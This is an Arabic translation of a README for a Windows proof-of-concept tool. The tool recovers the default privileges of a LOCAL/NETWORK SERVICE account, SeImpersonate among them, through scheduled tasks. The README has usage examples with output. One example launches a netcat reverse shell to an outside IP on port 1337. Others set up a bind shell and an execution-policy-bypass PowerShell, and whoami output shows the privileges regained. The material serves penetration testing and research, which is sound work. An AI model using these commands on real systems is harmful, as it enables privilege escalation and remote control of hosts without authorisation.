
استعادة مجموعة الصلاحيات الافتراضية لحساب LOCAL/NETWORK SERVICE
صلاحيات كاملة هي أداة إثبات مفهوم صنعتها لاستعادة مجموعة الصلاحيات الافتراضية لحساب خدمة بما في ذلك SeAssignPrimaryToken و SeImpersonate.
في ويندوز، بعض الخدمات التي تعمل باسم LOCAL SERVICE أو NETWORK SERVICE تم تكوينها للتشغيل بمجموعة محدودة من الصلاحيات. لذلك، حتى لو تم اختراق الخدمة، لن تحصل على صلاحيات انتحال الهوية الذهبية ويجب أن يكون تصعيد الصلاحيات إلى LOCAL SYSTEM أكثر تعقيدًا. ومع ذلك، وجدت أنه عند إنشاء مهمة مجدولة، فإن العملية الجديدة التي ينشئها خدمة جدولة المهام تحتوي على جميع الصلاحيات الافتراضية لحساب المستخدم المرتبط (باستثناء SeImpersonate). لذلك، مع بعض التلاعب بالرموز، يمكنك إنشاء عملية جديدة بجميع الصلاحيات المفقودة.
لمزيد من المعلومات: https://itm4n.github.io/localservice-privileges/
⚠️ يجب تشغيل هذه الأداة فقط باسم LOCAL SERVICE أو NETWORK SERVICE.
يمكنك التحقق من رسالة المساعدة باستخدام الخيار -h.
c:\TOOLS>FullPowers -h
FullPowers v0.1 (بواسطة @itm4n)
تستخدم هذه الأداة جدولة المهام لاستعادة مجموعة الصلاحيات الافتراضية لحساب الخدمة.
لمزيد من المعلومات: https://itm4n.github.io/localservice-privileges/
الحجج الاختيارية:
-v وضع التفصيل، يُستخدم أساسًا لتصحيح الأخطاء
-c <CMD> سطر الأوامر المخصص للتنفيذ (الافتراضي هو 'C:\Windows\System32\cmd.exe')
-x محاولة الحصول على مجموعة الصلاحيات الموسعة (قد تفشل مع NETWORK SERVICE)
-z غير تفاعلي، إنشاء عملية جديدة والخروج (الافتراضي هو 'التفاعل مع العملية الجديدة')
c:\TOOLS>FullPowers
[+] تم إنشاء المهمة المجدولة بنجاح. PID=9976
[+] CreateProcessAsUser() OK
Microsoft Windows [الإصدار 10.0.19041.84]
(c) 2019 Microsoft Corporation. جميع الحقوق محفوظة.
C:\WINDOWS\system32>
c:\TOOLS>FullPowers -c "powershell -ep Bypass"
[+] تم إنشاء المهمة المجدولة بنجاح. PID=9028
[+] CreateProcessAsUser() OK
Windows PowerShell
حقوق النشر (C) Microsoft Corporation. جميع الحقوق محفوظة.
جرب PowerShell الجديد عبر المنصات https://aka.ms/pscore6
PS C:\WINDOWS\system32> Get-ExecutionPolicy
Bypass
c:\TOOLS>FullPowers -c "C:\TOOLS\nc64.exe 1.2.3.4 1337 -e cmd" -z
[+] تم إنشاء المهمة المجدولة بنجاح. PID=5482
[+] CreateProcessAsUser() OK
هل تريد اختبار إثبات المفهوم هذا بنفسك؟ هذا رائع! إليك بعض التعليمات البسيطة للبدء.
الفكرة العامة هي بدء شل ربط من عملية خدمة موجودة، الاتصال بها ثم تشغيل الملف التنفيذي.
upnphost.C:\TOOLS>RunFromProcess-x64.exe <PID> C:\TOOLS\nc64.exe -l -p 9001 -e cmd
C:\TOOLS>nc64.exe 127.0.0.1 9001
Microsoft Windows [الإصدار 10.0.19041.84]
(c) 2019 Microsoft Corporation. جميع الحقوق محفوظة.
C:\WINDOWS\system32>whoami
nt authority\local service
C:\WINDOWS\system32>whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
======================= ======================== =======
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeCreateGlobalPrivilege Create global objects Enabled
c:\TOOLS>FullPowers
[+] تم بدء خيط وهمي بالمعرف 5568
[+] تم إنشاء المهمة المجدولة بنجاح.
[+] تم الحصول على رمز جديد! عدد الصلاحيات: 7
[+] CreateProcessAsUser() OK
Microsoft Windows [الإصدار 10.0.19041.84]
(c) 2019 Microsoft Corporation. جميع الحقوق محفوظة.
C:\WINDOWS\system32>whoami
nt authority\local service
C:\WINDOWS\system32>whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= =======
SeAssignPrimaryTokenPrivilege Replace a process level token Enabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Enabled
SeAuditPrivilege Generate security audits Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
يجب أن يكون لديك الآن شل مع صلاحيات انتحال الهوية!